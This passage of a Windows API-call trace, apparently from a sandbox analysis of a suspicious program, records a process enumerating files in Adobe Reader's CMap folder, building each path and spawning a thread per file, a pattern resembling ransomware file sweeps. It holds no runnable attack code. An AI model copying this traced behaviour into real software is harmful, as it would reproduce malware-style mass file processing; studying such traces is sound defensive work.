_Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" [0171.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0171.897] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x46805, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-H", cAlternateFileName="UNIGB-~2")) returned 1 [0171.897] wcscmp (_String1="UniGB-UCS2-H", _String2=".") returned 1 [0171.897] wcscmp (_String1="UniGB-UCS2-H", _String2="..") returned 1 [0171.897] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7178 [0171.897] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.897] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.897] wcscat (in: _Dest=0x8e7178, _Source="UniGB-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" [0171.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0171.898] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-V", cAlternateFileName="UNIGB-~1")) returned 1 [0171.898] wcscmp (_String1="UniGB-UCS2-V", _String2=".") returned 1 [0171.898] wcscmp (_String1="UniGB-UCS2-V", _String2="..") returned 1 [0171.898] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7b08 [0171.898] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.898] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.898] wcscat (in: _Dest=0x8e7b08, _Source="UniGB-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V" [0171.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0171.899] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-H", cAlternateFileName="UNIGB-~4")) returned 1 [0171.899] wcscmp (_String1="UniGB-UTF16-H", _String2=".") returned 1 [0171.899] wcscmp (_String1="UniGB-UTF16-H", _String2="..") returned 1 [0171.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c77628 [0171.899] wcscpy (in: _Dest=0x12c77628, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.899] wcscat (in: _Dest=0x12c77628, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.899] wcscat (in: _Dest=0x12c77628, _Source="UniGB-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H" [0171.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0171.900] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-V", cAlternateFileName="UNIGB-~3")) returned 1 [0171.900] wcscmp (_String1="UniGB-UTF16-V", _String2=".") returned 1 [0171.900] wcscmp (_String1="UniGB-UTF16-V", _String2="..") returned 1 [0171.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75e68 [0171.900] wcscpy (in: _Dest=0x12c75e68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.900] wcscat (in: _Dest=0x12c75e68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.900] wcscat (in: _Dest=0x12c75e68, _Source="UniGB-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V" [0171.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0171.902] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-H", cAlternateFileName="UNIJIS~1")) returned 1 [0171.902] wcscmp (_String1="UniJIS-UCS2-H", _String2=".") returned 1 [0171.902] wcscmp (_String1="UniJIS-UCS2-H", _String2="..") returned 1 [0171.902] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75dd0 [0171.902] wcscpy (in: _Dest=0x12c75dd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.902] wcscat (in: _Dest=0x12c75dd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.902] wcscat (in: _Dest=0x12c75dd0, _Source="UniJIS-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H" [0171.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0171.903] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-H", cAlternateFileName="UNIJIS~2")) returned 1 [0171.903] wcscmp (_String1="UniJIS-UCS2-HW-H", _String2=".") returned 1 [0171.903] wcscmp (_String1="UniJIS-UCS2-HW-H", _String2="..") returned 1 [0171.903] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c76458 [0171.903] wcscpy (in: _Dest=0x12c76458, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.903] wcscat (in: _Dest=0x12c76458, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.903] wcscat (in: _Dest=0x12c76458, _Source="UniJIS-UCS2-HW-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H" [0171.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0171.904] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-V", cAlternateFileName="UNIJIS~3")) returned 1 [0171.904] wcscmp (_String1="UniJIS-UCS2-HW-V", _String2=".") returned 1 [0171.904] wcscmp (_String1="UniJIS-UCS2-HW-V", _String2="..") returned 1 [0171.904] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c763c0 [0171.904] wcscpy (in: _Dest=0x12c763c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.904] wcscat (in: _Dest=0x12c763c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.904] wcscat (in: _Dest=0x12c763c0, _Source="UniJIS-UCS2-HW-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V" [0171.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c763c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184c [0171.906] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-V", cAlternateFileName="UNIJIS~4")) returned 1 [0171.906] wcscmp (_String1="UniJIS-UCS2-V", _String2=".") returned 1 [0171.906] wcscmp (_String1="UniJIS-UCS2-V", _String2="..") returned 1 [0171.906] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c76030 [0171.906] wcscpy (in: _Dest=0x12c76030, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.906] wcscat (in: _Dest=0x12c76030, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.906] wcscat (in: _Dest=0x12c76030, _Source="UniJIS-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V" [0171.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af8 [0171.907] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x315bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-H", cAlternateFileName="UN87E6~1")) returned 1 [0171.907] wcscmp (_String1="UniJIS-UTF16-H", _String2=".") returned 1 [0171.907] wcscmp (_String1="UniJIS-UTF16-H", _String2="..") returned 1 [0171.907] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c760c8 [0171.907] wcscpy (in: _Dest=0x12c760c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.907] wcscat (in: _Dest=0x12c760c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.907] wcscat (in: _Dest=0x12c760c8, _Source="UniJIS-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H" [0171.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c760c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad4 [0171.911] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-V", cAlternateFileName="UN275C~1")) returned 1 [0171.911] wcscmp (_String1="UniJIS-UTF16-V", _String2=".") returned 1 [0171.911] wcscmp (_String1="UniJIS-UTF16-V", _String2="..") returned 1 [0171.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75f00 [0171.911] wcscpy (in: _Dest=0x12c75f00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.911] wcscat (in: _Dest=0x12c75f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.911] wcscat (in: _Dest=0x12c75f00, _Source="UniJIS-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V" [0171.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad0 [0171.912] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31610, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-H", cAlternateFileName="UN288D~1")) returned 1 [0171.912] wcscmp (_String1="UniJIS2004-UTF16-H", _String2=".") returned 1 [0171.912] wcscmp (_String1="UniJIS2004-UTF16-H", _String2="..") returned 1 [0171.912] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9adac8 [0171.912] wcscpy (in: _Dest=0x9adac8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.912] wcscat (in: _Dest=0x9adac8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.912] wcscat (in: _Dest=0x9adac8, _Source="UniJIS2004-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H" [0171.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9adac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0171.913] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-V", cAlternateFileName="UNC565~1")) returned 1 [0171.913] wcscmp (_String1="UniJIS2004-UTF16-V", _String2=".") returned 1 [0171.913] wcscmp (_String1="UniJIS2004-UTF16-V", _String2="..") returned 1 [0171.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9aeba8 [0171.913] wcscpy (in: _Dest=0x9aeba8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.914] wcscat (in: _Dest=0x9aeba8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.914] wcscat (in: _Dest=0x9aeba8, _Source="UniJIS2004-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V" [0171.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9aeba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1acc [0171.915] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aad3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-H", cAlternateFileName="UNIKS-~4")) returned 1 [0171.915] wcscmp (_String1="UniKS-UCS2-H", _String2=".") returned 1 [0171.915] wcscmp (_String1="UniKS-UCS2-H", _String2="..") returned 1 [0171.915] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7b98 [0171.915] wcscpy (in: _Dest=0x8e7b98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.915] wcscat (in: _Dest=0x8e7b98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.915] wcscat (in: _Dest=0x8e7b98, _Source="UniKS-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H" [0171.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac8 [0171.916] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-V", cAlternateFileName="UNIKS-~3")) returned 1 [0171.916] wcscmp (_String1="UniKS-UCS2-V", _String2=".") returned 1 [0171.916] wcscmp (_String1="UniKS-UCS2-V", _String2="..") returned 1 [0171.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6bd8 [0171.916] wcscpy (in: _Dest=0x8e6bd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.916] wcscat (in: _Dest=0x8e6bd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.916] wcscat (in: _Dest=0x8e6bd8, _Source="UniKS-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V" [0171.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4 [0171.918] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-H", cAlternateFileName="UNIKS-~2")) returned 1 [0171.918] wcscmp (_String1="UniKS-UTF16-H", _String2=".") returned 1 [0171.918] wcscmp (_String1="UniKS-UTF16-H", _String2="..") returned 1 [0171.918] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75f98 [0171.918] wcscpy (in: _Dest=0x12c75f98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: 